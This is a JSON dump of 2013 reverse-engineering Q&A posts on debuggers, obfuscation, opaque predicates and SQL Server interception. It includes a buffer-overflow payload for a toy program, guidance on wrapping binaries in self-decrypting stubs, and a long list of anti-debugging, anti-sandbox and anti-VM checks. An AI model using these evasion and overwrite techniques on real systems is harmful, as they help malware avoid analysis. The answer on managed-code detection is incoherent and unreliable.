        "Answer": "<p>So, it is totally untested but here is the result of a few Internet browsing.</p>\n\n<p>First the stack base address is present in <code>/proc/&lt;pid&gt;/maps</code>, then it must be accessible from user-space at some point.</p>\n\n<p>I looked at the code of the <a href=\"http://www.linuxcommand.org/man_pages/pstack1.html\">pstack</a> command which is printing the content of the stack of a running process. This code is getting the base address from a <code>link_map</code> structure and store it inside the field <code>l_addr</code>. This field is set inside the function <code>readLinkMap()</code>:</p>\n\n<pre><code>static void readLinkMap(int pid, ElfN_Addr base, struct link_map *lm, \n                        char *name, unsigned int namelen)\n{\n  /* base address */\n  lm-&gt;l_addr = (ElfN_Addr) ptrace(PTRACE_PEEKDATA, pid,\n                                  base + offsetof(struct link_map,l_addr), 0);\n  /* next element of link map chain */\n  if (-1 != (long) lm-&gt;l_addr || !errno)\n    lm-&gt;l_next = (struct link_map *) ptrace(PTRACE_PEEKDATA, pid,\n                                            base + offsetof(struct link_map, l_next), 0);\n  if ((-1 == (long) lm-&gt;l_addr || -1 == (long) lm-&gt;l_next) &amp;&amp; errno) {\n    perror(\"ptrace\");\n    quit(\"can't read target.\");\n  }\n\n  loadString(pid, base + offsetof(struct link_map, l_name), name, namelen);\n}\n</code></pre>\n\n<p>I guess this is the right way to go. So, I would advise you to take a look at the code of the <code>pstack</code> command (the file is not very long) and to get inspiration from it because it does something extremely similar to what you want (at least if I understand what you said correctly).</p>\n\n<p>Hope this short note will help you a bit.</p>\n"
    },
    {
        "Id": "1614",
        "CreationDate": "2013-04-05T17:54:15.087",
        "Body": "<p>How can I quickly tell if a EXE or DLL I have is managed code or not?</p>\n\n<p>I spent some time recently trying to disassemble a file and then later learned through some traces in the code that I could have skipped all that work and just used ILspy. How can I avoid repeating that experience in the future?</p>\n",
        "Title": "Determining if a file is managed code or not",
        "Tags": "|windows|tools|dll|pe|",
        "Answer": "<p>When examining the VirtualAddress property of the IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR within the Data Directory of a running process, one may observe the manifestation of native code as .NET. This occurrence is attributed to the dynamic execution of .NET modules during runtime. However, it is imperative to consider.</p>\n"
    },
    {
        "Id": "1617",
        "CreationDate": "2013-04-05T19:45:11.907",
        "Body": "<p>I'm researching into intercepting queries that arrive at the SQL Server 2008 process.</p>\n\n<p>SQLOS architecture is divided in the following system DLLs:</p>\n\n<ul>\n<li><strong>sqlmin.dll</strong>: Storage, replication, security features,etc.</li>\n<li><strong>sqllang.dll</strong>: TransactSQL query execution engine, expression evaluation, etc.</li>\n<li><strong>sqldk.dll</strong>: Task scheduling and dispatch, worked thread creation, message loops, etc.</li>\n</ul>\n\n<p><em>SQLSERVR</em> service process instances the SQLOS components through <em>sqlboot.dll</em> and <em>sqldk.dll</em>, and the worker threads receive queries through the selected connection method in the server (TCP/IP, local shared memory or named-pipes).</p>\n\n<p>I've debugged the sqlservr.exe process address space searching for textual queries. It seems that query strings are readable, but I could not find a point where queries can be intercepted while they enter the SQLOS scheduler.</p>\n\n<p>Listening to pipes or TCP/IP is not an option at this moment; I would like to inject at a higher level, preferably at SQLOS-component level.</p>\n\n<p>Any idea on where to start looking into? </p>\n",
        "Title": "Server-side Query interception with MS SQL Server",
        "Tags": "|windows|dll|mssql|",
        "Answer": "<h1>Sniffing traffic only ... is easy</h1>\n\n<p>If you merely wanted to sniff the traffic you could <a href=\"http://wiki.wireshark.org/Protocols/tds\" rel=\"nofollow noreferrer\">use the TDS protocol sniffer</a> that comes with <a href=\"http://www.wireshark.org/\" rel=\"nofollow noreferrer\">WireShark</a>.</p>\n\n<h1>Let the laziness guide you - laziness is the reverser's <em>friend</em></h1>\n\n<blockquote>\n  <p>Listening to pipes or TCP/IP is not an option at this moment; I would\n  like to inject at a higher level, preferably at SQLOS-component level.</p>\n</blockquote>\n\n<p>I don't know why you insist on doing this a particular way when all information is readily available and all you need to do is put the jigsaw pieces together. This would seem to be the easiest, fastest - in short: laziest - method. Besides TCP/IP <em>is</em> the higher level, because you can intercept it even before it reaches the actual SQL server <em>machine</em> if you can hijack the IP/name of the SQL server and put a \"proxy\" in between. How <em>high level</em> do you want it? What you insist on is actually drilling down into the lower level guts of the MS SQL Server.</p>\n\n<p>MS SQL Server uses a <a href=\"http://msdn.microsoft.com/en-us/library/cc448435.aspx\" rel=\"nofollow noreferrer\">documented protocol</a> and using <a href=\"http://www.microsoft.com/msj/0599/LayeredService/LayeredService.aspx\" rel=\"nofollow noreferrer\">an LSP</a> you should/would be able to sniff, intercept and even manipulate that traffic. As far as I recall LSPs run within the process space of the application whose traffic they're filtering. You can consider them a makeshift application-level firewall, literally.</p>\n\n<p>Alternatively - and probably the better choice anyway - you could write a proxy based on the existing and free <a href=\"http://www.freetds.org\" rel=\"nofollow noreferrer\">FreeTDS</a> (licensed under LGPL). The <a href=\"http://freetds.cvs.sourceforge.net/viewvc/freetds/freetds/src/pool/\" rel=\"nofollow noreferrer\"><code>tdspool</code></a> program would be a good point to start this endeavor. And yes, this should be suitable for actual <em>interception</em>, not just sniffing forwarded traffic. You can use the library (FreeTDS) to decode and re-encode the queries. That library would also be the one to use inside your LSP, obviously.</p>\n\n<p>I'll save the time to go into details of the disassembly, although I installed MS SQL Server 2008 and briefly looked at it in IDA Pro. <a href=\"https://reverseengineering.stackexchange.com/a/1778/245\">Brendan's answer</a> provides a good overview, even if I disagree with this overly involved method where an easier one is available. But then, <a href=\"https://reverseengineering.stackexchange.com/q/1617/245\">you (Hern\u00e1n) asked for it.</a></p>\n"
    },
    {
        "Id": "1628",
        "CreationDate": "2013-04-06T13:45:41.450",
        "Body": "<p>Always wondered how it would be possible to see what data is being transmitted back and forth with an application that calls home.</p>\n\n<p>Let's say we emulate the server via host file redirect. Would it be possible to see what requests are being made by the application?</p>\n\n<p>Also is it possible at all to intercept the response(and view data) from the real server before it reaches the application?</p>\n",
        "Title": "How to see what data is being transmitted when an application calls home?",
        "Tags": "|tools|windows|security|php|serial-communication|",
        "Answer": "<p>Another option that's pointed out in the comments above by @CallMeV is to use hooking.  On Windows you may look at using <a href=\"http://easyhook.codeplex.com/\" rel=\"nofollow\">EasyHook</a>.</p>\n"
    },
    {
        "Id": "1636",
        "CreationDate": "2013-04-06T15:18:09.063",
        "Body": "<p>I see that most RE tutorials around the web that give RE examples use OllyDbg 1, even if the tutorial was written after the release of OllyDbg 2.</p>\n\n<p>Is there any particular reason for that? Is version 2 too buggy, or were some of the features dropped?</p>\n",
        "Title": "Advantages of OllyDbg 1 over OllyDbg 2",
        "Tags": "|ollydbg|",
        "Answer": "<p>Hi\uff0cthe most important reason is: debugging / reversing is quite abstruse and difficult, when you see a full screen assembly codes, and then suddently, they carsh/ fatals / freeze ... You just have no any idea to go on. So you have to search the answer in Internet, but most informations are all about Ollydbg 1.1, and there are lots of plugins to help you resolve the problem, enen though you don't know any secret inside the plugin or else. </p>\n\n<p>So, would you take your advantage to try the v2.0, face to helpless situation lonely ?</p>\n"
    },
    {
        "Id": "1641",
        "CreationDate": "2013-04-06T23:38:55.913",
        "Body": "<p>I see that PinTool works for Windows and Linux.  Does it also happen to work for OSX?  Or is there a similar tool that I can use to easily record code coverage for a closed-source app?</p>\n",
        "Title": "Pintool For OSX",
        "Tags": "|dynamic-analysis|osx|",
        "Answer": "<p>Yes, they work as @broadway already pointed out. However, PIN under OSX have many-many restrictions, some of them documented and others not. The most noticeable feature it lacks is support for creating threads in a PIN tool.</p>\n"
    },
    {
        "Id": "1646",
        "CreationDate": "2013-04-07T12:24:01.923",
        "Body": "<p>Say I have an arbitrary address and I want to find out which basic block (i.e. area_t structure) corresponds to it. How would I do that?</p>\n\n<p>Edit:\nmore specifically, I want to know the beginning / end of the basic block to which a given address belongs.</p>\n",
        "Title": "How to map an arbitrary address to its corresponding basic block in IDA?",
        "Tags": "|idapython|ida|",
        "Answer": "<p>As suggested by DCoder, I use the following helper class to efficiently resolve addresses to basic blocks:</p>\n\n<pre><code># Wrapper to operate on sorted basic blocks.\nclass BBWrapper(object):\n  def __init__(self, ea, bb):\n    self.ea_ = ea\n    self.bb_ = bb\n\n  def get_bb(self):\n    return self.bb_\n\n  def __lt__(self, other):\n    return self.ea_ &lt; other.ea_\n\n# Creates a basic block cache for all basic blocks in the given function.\nclass BBCache(object):\n  def __init__(self, f):\n    self.bb_cache_ = []\n    for bb in idaapi.FlowChart(f):\n      self.bb_cache_.append(BBWrapper(bb.startEA, bb))\n    self.bb_cache_ = sorted(self.bb_cache_)\n\n  def find_block(self, ea):\n    i = bisect_right(self.bb_cache_, BBWrapper(ea, None))\n    if i:\n      return self.bb_cache_[i-1].get_bb()\n    else:\n      return None\n</code></pre>\n\n<p>It can be used like this:</p>\n\n<pre><code>bb_cache = BBCache(idaapi.get_func(here()))\nfound = bb_cache.find_block(here())\nif found:\n  print \"found: %X - %X\" % (found.startEA, found.endEA)\nelse:\n  print \"No basic block found that contains %X\" % here()\n</code></pre>\n"
    },
    {
        "Id": "1653",
        "CreationDate": "2013-04-08T12:03:57.463",
        "Body": "<p><a href=\"http://bitblaze.cs.berkeley.edu/\">BitBlaze</a> and <a href=\"http://bap.ece.cmu.edu/\">BAP</a> are two platforms to perform binary analysis. And, if I understand well, they are sharing lots of common features. What are their respective main features and in what do they differ from each other ?</p>\n",
        "Title": "What are the differences between BitBlaze and BAP?",
        "Tags": "|tools|static-analysis|dynamic-analysis|binary-analysis|",
        "Answer": "<p>BAP is mostly a rewrite of BitBlaze, so feature-wise there are many common features.  However, many of these have been re-written or re-designed for BAP.</p>\n\n<p><strong>Common features:</strong></p>\n\n<ul>\n<li>Lifting of usermode, x86 instructions</li>\n<li>Datafow analysis module</li>\n<li>Dominator analysis</li>\n<li>CFG and SSA representations</li>\n<li>Optimization framework</li>\n<li>Verification condition generation</li>\n<li>Dependency graphs</li>\n<li>Slicing</li>\n</ul>\n\n<p>I am a BAP developer, so I can mainly attest to what is new in BAP since we split.  However, I don't think BitBlaze has (publicly) added new features since then.</p>\n\n<p><strong>New in BAP</strong>:</p>\n\n<ul>\n<li>Formally defined semantics for the IL</li>\n<li>PIN-based user-level taint tracking and tracing tool</li>\n<li>Integration with LLVM</li>\n<li>Native instruction lifting (i.e., in OCaml)</li>\n</ul>\n\n<p><strong>Only in BitBlaze:</strong></p>\n\n<ul>\n<li>TEMU system-level taint tracking and tracing tool</li>\n</ul>\n"
    },
    {
        "Id": "1654",
        "CreationDate": "2013-04-08T12:42:47.817",
        "Body": "<p>While reversing a 32bit Mach-O binary with Hopper, I noticed this peculiar method. The instruction on 0x0000e506 seems to be calling an address right below the instruction.</p>\n<p>What would be the reason for this? Is it some kind of register cleaning trickery?</p>\n<p><a href=\"https://i.stack.imgur.com/OBxX3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OBxX3.png\" alt=\"Disassembly listing containing an instruction call 0xe50b at address 0xe506, immediately followed by pop eax at address 0xe50b\" /></a></p>\n",
        "Title": "Why would a program contain a call instruction targetting the address immediately following that instruction?",
        "Tags": "|assembly|x86|",
        "Answer": "<p>As others have said, this is for getting current instruction's address. But it's not recommended as it'll hurt performance because it won't return anywhere, causing disagreement of return addresses in data stack and in the CPU's internal calling stack</p>\n<p>The recommended way is</p>\n<pre><code>GetCurrentAddress:\n    mov eax, [esp]\n    ret\n...\n    call GetCurrentAddress\n    mov [currentInstruction], eax\n</code></pre>\n<blockquote>\n<p>The reason is the &quot;hidden variables&quot; inside the processor. All modern processors contain much more state than you can see from the instruction sequence. There are TLBs, L1 and L2 caches, all sorts of stuff that you can't see. The hidden variable that is important here is the return address predictor.</p>\n<p><strong>The more recent Pentium (and I believe also Athlon) processors maintain an internal stack that is updated by each CALL and RET instruction</strong>. When a CALL is executed, the return address is pushed both onto the <em>real stack</em> (the one that the ESP register points to) as well as to the <em>internal return address predictor stack</em>; a RET instruction pops the top address of the return address predictor stack as well as the real stack.</p>\n<p>The return address predictor stack is used when the processor decodes a RET instruction. It looks at the top of the return address predictor stack and says, <em>&quot;I bet that RET instruction is going to return to that address.&quot;</em> It then speculatively executes the instructions at that address. Since programs rarely fiddle with return addresses on the stack, these predictions tend to be highly accurate.</p>\n<p><a href=\"https://devblogs.microsoft.com/oldnewthing/20041216-00/?p=36973\" rel=\"nofollow noreferrer\">https://devblogs.microsoft.com/oldnewthing/20041216-00/?p=36973</a></p>\n</blockquote>\n"
    },
    {
        "Id": "1669",
        "CreationDate": "2013-04-09T07:48:31.540",
        "Body": "<p>I saw the term of <em>opaque predicates</em> several times in obfuscation papers. As far as I understand it, it refers to predicates that are hard to evaluate in an automated manner. Placing it at strategical points of the program (<code>jmp</code>, <code>test</code>, ...) can mislead the analysis of a program by automatic tools.</p>\n\n<p>My definition is lacking of precision and, moreover, I have no idea on how to estimate the <em>opacity</em> of such a predicate (its efficiency). So, can somebody give a proper definition and maybe a few examples ?</p>\n",
        "Title": "What is an \"opaque predicate\"?",
        "Tags": "|obfuscation|",
        "Answer": "<p>The answers already in this thread are good ones.  In a nutshell, an opaque predicate is \"something that a program analysis might miss, if the program analysis is not sophisticated enough\".  Denis' example was based on the inverse of constant propagation, and served as an anti-checksum mechanism.  Joxean's <code>SetErrorMode</code> example was an environment-based opaque predicate that was used for dynamic anti-emulation.  Two of Ange's answers were also dynamic anti-emulation; based upon the environment, and based upon uncommon platform features.  Ange's other example was more like an anti-disassembly trick via indirect addressing.</p>\n\n<p>In the academic literature, an opaque predicate is referred to as a branch that always executes in one direction, which is known to the creator of the program, and which is unknown a priori to the analyzer.  The notion of \"hardness\" of an opaque predicate is deliberately omitted from this definition.  Academic predicates are often based upon number-theoretic constructions, aliasing relationships, recursive data structures; basically anything that is commonly understood by program analysis researchers to cause problems for a program analysis tool.  </p>\n\n<p>My favorite researcher Mila Dalla Preda has shown that the ability for an abstract interpreter to break a given category of opaque predicate is related to the \"completeness\" of the domain with respect to the property tested by the predicate.  She demonstrates by using mod-k-based opaque predicates, and elicits a family of domains that are complete (i.e. incur no abstract precision loss) for mod-k with respect to common transformers (addition, multiplication, etc).  Then she explores the use of obscure theoretical constructions such as completeness refinement to automatically construct a domain for breaking a certain category of predicate.  See <a href=\"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.69.3653&amp;rep=rep1&amp;type=pdf\" rel=\"nofollow noreferrer\">this paper</a> for more details.</p>\n"
    },
    {
        "Id": "1672",
        "CreationDate": "2013-04-09T08:21:37.047",
        "Body": "<p>I was trying to understand buffer overflow attacks using the following C program </p>\n\n<pre><code>#include\"stdio.h\"  \n#include\"string.h\"   \nvoid iwontprint()  \n{  \n    printf(\"i wont be printed!\");  \n}  \n\nvoid callme()  \n{  \n    char buffer[8];  \n    gets(buffer);  \n    puts(buffer);  \n}  \n\nint main(int argc,int** argv)  \n{  \n    callme();  \n    return 0;  \n}\n</code></pre>\n\n<p>Loading up the program in GDB before calling the <code>gets(buffer)</code> gives the following value of ESP : </p>\n\n<pre><code>0xbffff4d4: 0xb7ff0590 0x080484db 0xb7fc1ff4 0xbffff4e8  \n0xbffff4e4: 0x080484b6 0xbffff568 0xb7e79e46 0x00000001\n</code></pre>\n\n<p>And after entering the input <code>123456789abc\\x7c\\x84\\x04\\x08</code> I am getting totally different values in ESP :</p>\n\n<pre><code>0xbffff4d4: 0xbffff4d8 0x34333231 0x38373635 0x63626139  \n0xbffff4e4: 0x6337785c 0x3438785c 0x3430785c 0x3830785c\n</code></pre>\n\n<p>I've already set <code>randomize_va_space = 0</code></p>\n\n<pre><code>$cat /proc/sys/kernel/randomize_va_space   \n0\n</code></pre>\n\n<p>Can anybody provide any pointers as to what am I missing here ?</p>\n",
        "Title": "Why is this string on the stack not exactly the one I entered?",
        "Tags": "|disassembly|gdb|buffer-overflow|",
        "Answer": "<p>Samurai's answer is correct , but put more clearly , your mistake is that you enter the literal string </p>\n\n<pre><code>123456789abc\\x7c\\x84\\x04\\x08\n</code></pre>\n\n<p>where as what you probably want is something like:</p>\n\n<pre><code>perl -e 'print \"123456789abc\\x7c\\x84\\x04\\x08\"' | ./yourbinary\n</code></pre>\n\n<p>In the first case the <code>\\x7c\\x84\\x04\\x08</code> is just that, a 16 characters length string, where in the second case, the <code>\\x</code> escape sequence is actually interpreted and <code>\\x7c\\x84\\x04\\x08</code> is printed as just 4 bytes.</p>\n"
    },
    {
        "Id": "1673",
        "CreationDate": "2013-04-09T08:27:22.040",
        "Body": "<p>I have an obfuscated binary which only print a simple <code>Hello World!</code>\nand exit like this:</p>\n\n<pre><code>Hello World!\n</code></pre>\n\n<p>But, when I am looking at the assembly with <code>objdump</code>, I cannot find any\ncall to <code>printf</code> or <code>write</code>, nor find the string <code>Hello World!</code>.</p>\n\n<pre><code>0804840c &lt;main&gt;:\n 804840c:       be 1e 84 04 08          mov    $0x804841e,%esi\n 8048411:       89 f7                   mov    %esi,%edi\n 8048413:       b9 26 00 00 00          mov    $0x26,%ecx\n 8048418:       ac                      lods   %ds:(%esi),%al\n 8048419:       34 aa                   xor    $0xaa,%al\n 804841b:       aa                      stos   %al,%es:(%edi)\n 804841c:       e2 fa                   loop   8048418 &lt;main+0xc&gt;\n 804841e:       23 4f 29                and    0x29(%edi),%ecx\n 8048421:       46                      inc    %esi\n 8048422:       ae                      scas   %es:(%edi),%al\n 8048423:       29 4e 5a                sub    %ecx,0x5a(%esi)\n 8048426:       29 6e ae                sub    %ebp,-0x52(%esi)\n 8048429:       c2 9c 2e                ret    $0x2e9c\n 804842c:       ae                      scas   %es:(%edi),%al\n 804842d:       a2 42 17 54 55          mov    %al,0x55541742\n 8048432:       55                      push   %ebp\n 8048433:       23 46 69                and    0x69(%esi),%eax\n 8048436:       e2 cf                   loop   8048407 &lt;frame_dummy+0x27&gt;\n 8048438:       c6 c6 c5                mov    $0xc5,%dh\n 804843b:       8a fd                   mov    %ch,%bh\n 804843d:       c5 d8 c6 ce 8b          vshufps $0x8b,%xmm6,%xmm4,%xmm1\n 8048442:       a0 aa 90 90 90          mov    0x909090aa,%al\n 8048447:       90                      nop\n ...\n 804844f:       90                      nop\n</code></pre>\n\n<p>The obfuscation technique claimed to be used here is called <em>instruction\ncamouflage</em> (see this <a href=\"http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.125.5028\" rel=\"noreferrer\">paper</a>). Can someone explain what is it and how does it works ?</p>\n",
        "Title": "What is \"instruction camouflage\" obfuscation?",
        "Tags": "|obfuscation|",
        "Answer": "<p>This is also commonly known as an <strong>encryption wrapper</strong>. I'm sure there are several other similar names used in the industry. </p>\n\n<p>The actual code isn't as important as the concept. The plaintext code is prepended (in executive order) by a decryption stub responsible for decoding the body of the code. In this way, the main code body (payload in the case of malware) is encrypted, and thus doesn't have constant bytes. The decoder stub itself remains constant in this example, though <strong>polymorphism</strong> is a later evolution that regenerates the encoder and decoder so that they, too, contain no constant bytes. By lessening the number of constant bytes between copies of the code, detection signature exposure is reduced.</p>\n\n<p>Decoder stubs can offer decompression as well.</p>\n\n<p>This mechanism got heavy use in the early days of self-replicating PC viruses. These were labeled with the characteristic of being <strong>self-encrypting</strong>. It is still used in today by some subversive software. </p>\n\n<p><em>Importantly, native code isn't the only code that can be 'wrapped' in this fashion.</em></p>\n"
    },
    {
        "Id": "1676",
        "CreationDate": "2013-04-09T08:41:45.237",
        "Body": "<p>I would like to know what is the simplest way to produce code binaries with instruction camouflage (see <a href=\"https://reverseengineering.stackexchange.com/questions/1673/what-is-a-instruction-camouflage-obfuscation\">this question</a>). </p>\n\n<p>The problem here is that you first have to produce a correct assembly code and then to hide it with a given method directly into the binary. Doing it by hand is quite painful, especially if you have to take care of the static jumps into the code. Right now, I am using <a href=\"http://www.nasm.us/\" rel=\"nofollow noreferrer\">nasm</a>, and more precisely its <a href=\"http://www.nasm.us/xdoc/2.10.07/html/nasmdoc4.html\" rel=\"nofollow noreferrer\">preprocessor</a> to perform the camouflage operations. But, I wonder if there are better ways to do it.</p>\n\n<p>So, what tools or tricks do you use to produce such binaries ? </p>\n",
        "Title": "How to produce binaries with \"instruction camouflage\" obfuscation?",
        "Tags": "|tools|obfuscation|",
        "Answer": "<p>In general what you do is that you make a new segment in the executable, change the entry point to your new segment. Your new segment has the decryption code for the original code and the changed entry point now means that the first code to execute when the executable is loaded is your decryption code. </p>\n\n<p>Your encryption code then either maps a segment, usually at the address where the original executable segment was located, and decrypts the source segment into the mapped segment or it directly decrypts the segment in place. If your code decrypts the segment in place you need to make sure the remove any relocations from the original executable. </p>\n\n<p>In all cases, except if you get to map your decrypted executable segment at its original intended address, you need to do the relocations yourself after decryption so that the executable won't crash. Personally I would implement the relocations in order to support things like ASLR. After decryption and relocation you simply call into the original entry point.</p>\n\n<p>This way you do not have to create your encryption or \"masking\" code for a particular binary and applying it to arbitrary binaries in the future should be possible.</p>\n"
    },
    {
        "Id": "1684",
        "CreationDate": "2013-04-09T21:28:14.397",
        "Body": "<p>IDA Pro can deal with the Renesas H8 processors, but not the free version.</p>\n\n<p>Are there any free or low cost (&lt;\u00a3100) disassemblers for the Renesas H8 family or processors?</p>\n",
        "Title": "Are there any free or low cost disassemblers for the Renesas H8 family of processors?",
        "Tags": "|tools|disassembly|renesas-h8|",
        "Answer": "<p>There is an H8 port of GNU binutils (the target is called 'h8300' I believe) which includes <code>objdump</code>. It seems it's even available in Debian in the package <a href=\"http://packages.debian.org/sid/binutils-h8300-hms\"><code>binutils-h8300-hms</code></a> (might be outdated).</p>\n\n<p>Alternative GNU-based toolchains for many Renesas processors (including H8) are provided by <a href=\"http://www.kpitgnutools.com/\">KPIT</a> (free but requires registration). I think they've been contributing to mainline too but not sure how's their progress there.</p>\n\n<p>Just for reference, here's how to use <code>objdump</code> to disassemble a raw binary:</p>\n\n<pre><code>objdump -m h8300 -b binary -D myfile.bin\n</code></pre>\n\n<p>Renesas offers their own commercial compiler/assembler/simulator (and I <em>think</em> a disassembler too) suite called <a href=\"http://am.renesas.com/products/tools/coding_tools/c_compilers_assemblers/h8_compiler/index.jsp\">High-performance Embedded Workshop</a> (HEW) but I couldn't find out how much it costs. There is a <a href=\"http://am.renesas.com/support/downloads/download_results/C2000301-C2000400/evaluation_h8c.jsp\">downloadable evaluation version</a>, however.</p>\n\n<p>For a quick look at some hex you can also try the <a href=\"http://www.onlinedisassembler.com/odaweb/run_hex\">Online Disassembler</a>, it has a couple of H8 variants.</p>\n"
    },
    {
        "Id": "1686",
        "CreationDate": "2013-04-09T22:12:45.620",
        "Body": "<p>What are the different ways for a program to detect that it executes inside a virtualized environment ? And, would it be possible to detect what kind of virtualization is used ?</p>\n",
        "Title": "How to detect a virtualized environment?",
        "Tags": "|anti-debugging|virtual-machines|",
        "Answer": "<p>Here is a collection of anti-sandbox/vm/debugger techniques implemented in a open source program which will give you a clear idea how to detect virtualization: <a href=\"https://github.com/LordNoteworthy/al-khaser\" rel=\"nofollow noreferrer\">https://github.com/LordNoteworthy/al-khaser</a>.</p>\n\n<p>Here are the list of supported techniques:</p>\n\n<h3>Anti-debugging attacks</h3>\n\n<ul>\n<li>IsDebuggerPresent</li>\n<li>CheckRemoteDebuggerPresent</li>\n<li>Process Environement Block (BeingDebugged)</li>\n<li>Process Environement Block (NtGlobalFlag)</li>\n<li>ProcessHeap (Flags)</li>\n<li>ProcessHeap (ForceFlags)</li>\n<li>NtQueryInformationProcess (ProcessDebugPort)</li>\n<li>NtQueryInformationProcess (ProcessDebugFlags)</li>\n<li>NtQueryInformationProcess (ProcessDebugObject)</li>\n<li>NtSetInformationThread (HideThreadFromDebugger)</li>\n<li>NtQueryObject (ObjectTypeInformation)</li>\n<li>NtQueryObject (ObjectAllTypesInformation)</li>\n<li>CloseHanlde (NtClose) Invalide Handle</li>\n<li>SetHandleInformation (Protected Handle)</li>\n<li>UnhandledExceptionFilter</li>\n<li>OutputDebugString (GetLastError())</li>\n<li>Hardware Breakpoints (SEH / GetThreadContext)</li>\n<li>Software Breakpoints (INT3 / 0xCC)</li>\n<li>Memory Breakpoints (PAGE_GUARD)</li>\n<li>Interrupt 0x2d</li>\n<li>Interrupt 1</li>\n<li>Parent Process (Explorer.exe)</li>\n<li>SeDebugPrivilege (Csrss.exe)</li>\n<li>NtYieldExecution / SwitchToThread</li>\n<li>TLS callbacks</li>\n</ul>\n\n<h3>Anti-Dumping</h3>\n\n<ul>\n<li>Erase PE header from memory</li>\n<li>SizeOfImage</li>\n</ul>\n\n<h3>Timing Attacks [Anti-Sandbox]</h3>\n\n<ul>\n<li>RDTSC (with CPUID to force a VM Exit)</li>\n<li>RDTSC (Locky version with GetProcessHeap &amp; CloseHandle)</li>\n<li>Sleep -> SleepEx -> NtDelayExecution</li>\n<li>Sleep (in a loop a small delay)</li>\n<li>Sleep and check if time was accelerated (GetTickCount)</li>\n<li>SetTimer (Standard Windows Timers)</li>\n<li>timeSetEvent (Multimedia Timers)</li>\n<li>WaitForSingleObject -> WaitForSingleObjectEx -> NtWaitForSingleObject</li>\n<li>WaitForMultipleObjects -> WaitForMultipleObjectsEx -> </li>\n</ul>\n\n<h3>Human Interaction / Generic [Anti-Sandbox]</h3>\n\n<ul>\n<li>Mouse movement</li>\n<li>Total Physical memory (GlobalMemoryStatusEx)</li>\n<li>Disk size using DeviceIoControl (IOCTL_DISK_GET_LENGTH_INFO)</li>\n<li>Disk size using GetDiskFreeSpaceEx (TotalNumberOfBytes)</li>\n<li>Count of processors (Win32/Tinba - Win32/Dyre)</li>\n</ul>\n\n<h3>Anti-Virtualization / Full-System Emulation</h3>\n\n<ul>\n<li><p><strong>Registry key value artifacts</strong></p>\n\n<ul>\n<li>HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0 (Identifier) (VBOX)</li>\n<li>HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0 (Identifier) (QEMU)</li>\n<li>HARDWARE\\Description\\System (SystemBiosVersion) (VBOX)</li>\n<li>HARDWARE\\Description\\System (SystemBiosVersion) (QEMU)</li>\n<li>HARDWARE\\Description\\System (VideoBiosVersion) (VIRTUALBOX)</li>\n<li>HARDWARE\\Description\\System (SystemBiosDate) (06/23/99)</li>\n<li>HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0 (Identifier) (VMWARE)</li>\n<li>HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 1\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0 (Identifier) (VMWARE)</li>\n<li>HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 2\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0 (Identifier) (VMWARE)</li>\n</ul></li>\n<li><p><strong>Registry Keys artifacts</strong></p>\n\n<ul>\n<li>\"HARDWARE\\ACPI\\DSDT\\VBOX__\"</li>\n<li>\"HARDWARE\\ACPI\\FADT\\VBOX__\"</li>\n<li>\"HARDWARE\\ACPI\\RSDT\\VBOX__\"</li>\n<li>\"SOFTWARE\\Oracle\\VirtualBox Guest Additions\"</li>\n<li>\"SYSTEM\\ControlSet001\\Services\\VBoxGuest\"</li>\n<li>\"SYSTEM\\ControlSet001\\Services\\VBoxMouse\"</li>\n<li>\"SYSTEM\\ControlSet001\\Services\\VBoxService\"</li>\n<li>\"SYSTEM\\ControlSet001\\Services\\VBoxSF\"</li>\n<li>\"SYSTEM\\ControlSet001\\Services\\VBoxVideo\"</li>\n<li>SOFTWARE\\VMware, Inc.\\VMware Tools</li>\n<li>SOFTWARE\\Wine</li>\n</ul></li>\n<li><p><strong>File system artifacts</strong></p>\n\n<ul>\n<li>\"system32\\drivers\\VBoxMouse.sys\"</li>\n<li>\"system32\\drivers\\VBoxGuest.sys\"</li>\n<li>\"system32\\drivers\\VBoxSF.sys\"</li>\n<li>\"system32\\drivers\\VBoxVideo.sys\"</li>\n<li>\"system32\\vboxdisp.dll\"</li>\n<li>\"system32\\vboxhook.dll\"</li>\n<li>\"system32\\vboxmrxnp.dll\"</li>\n<li>\"system32\\vboxogl.dll\"</li>\n<li>\"system32\\vboxoglarrayspu.dll\"</li>\n<li>\"system32\\vboxoglcrutil.dll\"</li>\n<li>\"system32\\vboxoglerrorspu.dll\"</li>\n<li>\"system32\\vboxoglfeedbackspu.dll\"</li>\n<li>\"system32\\vboxoglpackspu.dll\"</li>\n<li>\"system32\\vboxoglpassthroughspu.dll\"</li>\n<li>\"system32\\vboxservice.exe\"</li>\n<li>\"system32\\vboxtray.exe\"</li>\n<li>\"system32\\VBoxControl.exe\"</li>\n<li>\"system32\\drivers\\vmmouse.sys\"</li>\n<li>\"system32\\drivers\\vmhgfs.sys\"</li>\n</ul></li>\n<li><p><strong>Directories artifacts</strong></p>\n\n<ul>\n<li>\"%PROGRAMFILES%\\oracle\\virtualbox guest additions\\\"</li>\n<li>\"%PROGRAMFILES%\\VMWare\\\"</li>\n</ul></li>\n<li><p><strong>Memory artifacts</strong></p>\n\n<ul>\n<li>Interupt Descriptor Table (IDT) location</li>\n<li>Local Descriptor Table (LDT) location</li>\n<li>Global Descriptor Table (GDT) location</li>\n<li>Task state segment trick with STR</li>\n</ul></li>\n<li><p><strong>MAC Address</strong></p>\n\n<ul>\n<li>\"\\x08\\x00\\x27\" (VBOX)</li>\n<li>\"\\x00\\x05\\x69\" (VMWARE)</li>\n<li>\"\\x00\\x0C\\x29\" (VMWARE)</li>\n<li>\"\\x00\\x1C\\x14\" (VMWARE)</li>\n<li>\"\\x00\\x50\\x56\" (VMWARE)</li>\n</ul></li>\n<li><p><strong>Virtual 